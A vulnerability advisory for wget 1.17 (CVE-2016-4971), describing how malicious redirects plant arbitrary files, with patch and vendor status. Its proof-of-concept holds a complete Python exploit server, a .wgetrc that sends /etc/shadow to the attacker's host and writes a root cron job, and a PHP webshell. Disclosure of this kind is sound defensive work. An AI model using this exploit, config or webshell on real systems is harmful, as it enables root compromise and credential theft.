Vulnerability Description
A vulnerability in the way wget handles redirects allows attackers that are able to hijack a connection initiated by wget or compromise a server from which wget is downloading files from, would allow them to cause the user running wget to execute arbitrary commands. The commands are executed with the privileges with which wget is running. This could prove to be quite severe when wget is launched as ‘root’.
Credit
An independent security researcher Dawid Golunski (https://legalhackers.com/) has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vulnerable Version
Wget version 1.17 and prior
Introduction
GNU Wget (including the latest version) when supplied with a malicious website link can be tricked into saving an arbitrary remote file supplied by an attacker, with arbitrary contents and filename under the current directory. This can lead to potential code execution by creating system scripts (such as .bash_profile and others) within home directory as well as other unauthorized actions (such as request sniffing by proxy modification, or arbitrary system file retrieval) by uploading .wgetrc configuration file.
Technical Details
Because of lack of sufficient controls in wget, when user downloads a file with wget, such as:
wget http://attackers-server/safe_file.txt
An attacker who controls the server could make wget create an arbitrary file with arbitrary contents and filename by issuing a crafted HTTP 30X Redirect containing ftp server reference in response to the victim’s wget request.
For example, if the attacker’s server replies with the following response:
HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Location: ftp://attackers-server/.bash_profile Content-Length: 262 Server: Apache
wget will automatically follow the redirect and will download a malicious .bash_profile file from a malicious FTP server. It will fail to rename the file to the originally requested filename of ‘safe_file.txt’ as it would normally do, in case of a redirect to another HTTP resource with a different name.
Because of this vulnerability, an attacker is able to upload an arbitrary file with an arbitrary filename to the victim’s current directory.
Execution Flow
The following illustrates the execution of an attack against a victim, from both the victim and attacker’s perspective:
victim@trusty:~$ wget --version | head -n1 GNU Wget 1.17 built on linux-gnu. victim@trusty:~$ pwd /home/victim victim@trusty:~$ ls victim@trusty:~$ victim@trusty:~$ wget http://attackers-server/safe-file.txt --2016-02-19 04:50:37-- http://attackers-server/safe-file.txt Resolving attackers-server... 192.168.57.1 Connecting to attackers-server|192.168.57.1|:80... connected. HTTP request sent, awaiting response... 302 Found Location: ftp://192.168.57.1/.bash_profile [following] --2016-02-19 04:50:37-- ftp://192.168.57.1/.bash_profile => ‘.bash_profile’ Connecting to 192.168.57.1:21... connected. Logging in as anonymous ... Logged in! ==> SYST ... done. ==> PWD ... done. ==> TYPE I ... done. ==> CWD not needed. ==> SIZE .bash_profile ... 55 ==> PASV ... done. ==> RETR .bash_profile ... done. Length: 55 (unauthoritative) .bash_profile 100%[=============================================================================================>] 55 --.-KB/s in 0s 2016-02-19 04:50:37 (1.27 MB/s) - ‘.bash_profile’ saved [55] victim@trusty:~$ ls -l total 4 -rw-rw-r-- 1 victim victim 55 Feb 19 04:50 .bash_profile victim@trusty:~$
This vulnerability will not work if extra options that force destination filename are specified as a paramter. Such as: -O /tmp/output It is however possible to exploit the issue with mirroring/recursive options enabled such as -r or -m.
Another limitation is that attacker exploiting this vulnerability can only upload his malicious file to the current directory from which wget was run, or to a directory specified by -P option (directory_prefix option). This could however be enough to exploit wget run from home directory, or within web document root (in which case attacker could write malicious PHP files or .bash_profile files).
Attacker could also get around directory restriction by uploading a .wgetrc wget config file if wget was run from a home directory.
By saving .wgetrc in /home/victim/.wgetrc an attacker could set arbitrary wget settings such as destination directory for all downloaded files in future, as well as set a proxy setting to make future requests go through his malicious proxy server to which he could send further malicious responses.
Here is a set of Wget settings that can be helpful to an attacker:
dir_prefix = string
Top of directory tree—the same as ‘-P string’.
post_file = file
Use POST as the method for all HTTP requests and send the contents of file in the request body. The same as ‘–post-file=file’.
recursive = on/off
Recursive on/off—the same as ‘-r’.
timestamping = on/off
Allows to overwrite existing files.
cut_dirs = n
Ignore n remote directory components. Allows attacker to create directories with wget (when combined with recursive option).
http_proxy
HTTP Proxy server
https_proxy
HTTPS Proxy server
output_document = file
Set the output filename—the same as ‘-O file’.
input = file
Read the URLs from string, like ‘-i file’.
metalink-over-http
Issues HTTP HEAD request instead of GET and extracts Metalink metadata from response headers. Then it switches to Metalink download. If no valid Metalink metadata is found, it falls back to ordinary HTTP download.
Full list of .wgetrc options can be found in: https://www.gnu.org/software/wget/manual/wget.html#Wgetrc-Commands
CVE
A CVE entry has been allocated for the aforementioned vulnerability CVE-2016-4971.
Vendor Status
The vendor has released a new version, wget version 1.18, which addresses this vulnerability. More details on the patch and new version can be found here: http://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html.
Vendors such as RedHat and Debain, though they were informed that there is a new vulnerability in wget and a patch available, have decided to not release any update in the last 30 days.
Proof of Concept
1) Cronjob with wget scenario
In many occasions wget is used inside cronjobs. By default cronjobs run within home directory of the cronjob owner. Such wget cronjobs are commonly used with many applications used to download new version of databases, requesting web scripts that perform scheduled tasks such as rebuilding indexes, cleaning caches etc. Here are a few example tutorials for WordPress/Moodle/Joomla/Drupal with exploitable wget cronjobs:
https://codex.wordpress.org/Post_to_your_blog_using_email
https://docs.moodle.org/2x/ca/Cron
http://www.joomlablogger.net/joomla-tips/joomla-general-tips/how-to-set-up-a-content-delivery-network-cdn-for-your-joomla-site
http://www.zyxware.com/articles/4483/drupal-how-to-add-a-cron-job-via-cpanel
Such setup could be abused by attackers to upload .bash_profile file through wget vulnerability and run commands as the victim user upon the next login.
As cron runs periodically attackers, could also write out .wgetrc file in the first response and then write to /etc/cron.d/malicious-cron in the second. If a cronjob is run by root, this would give them an almost instant root code execution.
It is worth noting that if an attacker had access to local network he could potentially modify unencrypted HTTP traffic to inject location/ftp payload to wget requests. This issue could also be exploited by attackers who have already gained access to the server through a web vulnerability. A lot of times the cron jobs (as in examples above) are set up to request various web scripts e.g:
http://localhost/clean-cache.php
If file was writable by apache, and attacker had access to www-data/apache account, they could modify it to return malicious Location header and exploit root cronjob that runs the wget request in order to escalate their privileges to root.
For simplicity we will assume that attacker already has control over the server that the victim sends the request to with wget.
The root cronjob on the victim server may look as follows:
root@victim:~# cat /etc/cron.d/update-database # Update database file every 2 minutes */2 * * * * root wget -N http://attackers-server/database.db > /dev/null 2>&1
In order to exploit this setup, attacker first prepares a malicious .wgetrc and starts an FTP server:
attackers-server# mkdir /tmp/ftptest attackers-server# cd /tmp/ftptest attackers-server# cat <<_EOF_>.wgetrc post_file = /etc/shadow output_document = /etc/cron.d/wget-root-shell _EOF_ attackers-server# sudo pip install pyftpdlib attackers-server# python -m pyftpdlib -p21 -w
At this point attacker can start an HTTP server which will exploit wget by sending malicious redirects to the victim requests:
#!/usr/bin/env python # # Wget 1.17 <= Arbitrary File Upload exploit # Dawid Golunski # import SimpleHTTPServer import SocketServer import socket; class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): # This takes care of sending .wgetrc print "We have a volunteer requesting " + self.path + " by GET :)\n" if "Wget" not in self.headers.getheader('User-Agent'): print "But it's not a Wget :( \n" self.send_response(200) self.end_headers() self.wfile.write("Nothing to see here...") return print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n" self.send_response(301) new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) ) print "Sending redirect to %s \n"%(new_path) self.send_header('Location', new_path) self.end_headers() def do_POST(self): # In here we will receive extracted file and install a PoC cronjob print "We have a volunteer requesting " + self.path + " by POST :)\n" if "Wget" not in self.headers.getheader('User-Agent'): print "But it's not a Wget :( \n" self.send_response(200) self.end_headers() self.wfile.write("Nothing to see here...") return content_len = int(self.headers.getheader('content-length', 0)) post_body = self.rfile.read(content_len) print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body) print "Sending back a cronjob script as a thank-you for the file..." print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)" self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(ROOT_CRON) print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n" return HTTP_LISTEN_IP = '192.168.57.1' HTTP_LISTEN_PORT = 80 FTP_HOST = '192.168.57.1' FTP_PORT = 21 ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n" handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit) print "Ready? Is your FTP server running?" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) result = sock.connect_ex((FTP_HOST, FTP_PORT)) if result == 0: print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT) else: print "FTP is down :( Exiting." exit(1) print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT handler.serve_forever()
Attacker can run wget-exploit.py and wait a few minutes until the victim’s server executes the aforementioned cronjob with wget.
The output should look similar to:
attackers-server# python ./wget-exploit.py Ready? Is your FTP server running? FTP found open on 192.168.57.1:21. Let's go then Serving wget exploit on port 80... We have a volunteer requesting /database.db by GET :) Uploading .wgetrc via ftp redirect vuln. It should land in /root 192.168.57.10 - - [26/Feb/2016 15:03:54] "GET /database.db HTTP/1.1" 301 - Sending redirect to ftp://anonymous@192.168.57.1:21/.wgetrc We have a volunteer requesting /database.db by POST :) Received POST from wget, this should be the extracted /etc/shadow file: ---[begin]--- root:$6$FsAu5RlS$bsJZ2J9GDm.....cut......9P19Nb./Y75nypB4F5XXnziX/:16800:0:99999:7::: daemon:*:16484:0:99999:7::: bin:*:16484:0:99999:7::: sys:*:16484:0:99999:7::: sync:*:16484:0:99999:7::: games:*:16484:0:99999:7::: man:*:16484:0:99999:7::: lp:*:16484:0:99999:7::: ...cut... ---[end]--- Sending back a cronjob script as a thank-you for the file... It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response) 192.168.57.10 - - [26/Feb/2016 15:05:54] "POST /database.db HTTP/1.1" 200 - File was served. Check on /root/hacked-via-wget on the victim's host in a minute! :)
As we can see .wgetrc got uploaded by the exploit. It has set the post_file setting to /etc/shadow. Therefore, on the next wget run, wget sent back shadow file to the attacker. It also saved the malicious cronjob script (ROOT_CRON variable) which should create a file namd /root/hacked-via-wget which we can verify on the victim’s server:
root@victim:~# cat /etc/cron.d/wget-root-shell * * * * * root /usr/bin/id > /root/hacked-via-wget root@victim:~# cat /root/hacked-via-wget uid=0(root) gid=0(root) groups=0(root)
2) PHP web application scenario
If wget is used within a PHP script e.g.:
<?php // Update geoip data system("wget -N -P geoip http://attackers-host/goeip.db"); ?>
An attacker who manages to respond to the request could simply upload a PHP backdoor of:
<?php //webshell.php system($_GET['cmd']); ?>
by using the wget-exploit script described in example 1. After the upload he could simply execute the script and their shell command by a GET request to:
http://victims-php-host/geoip/webshell.php?cmd=id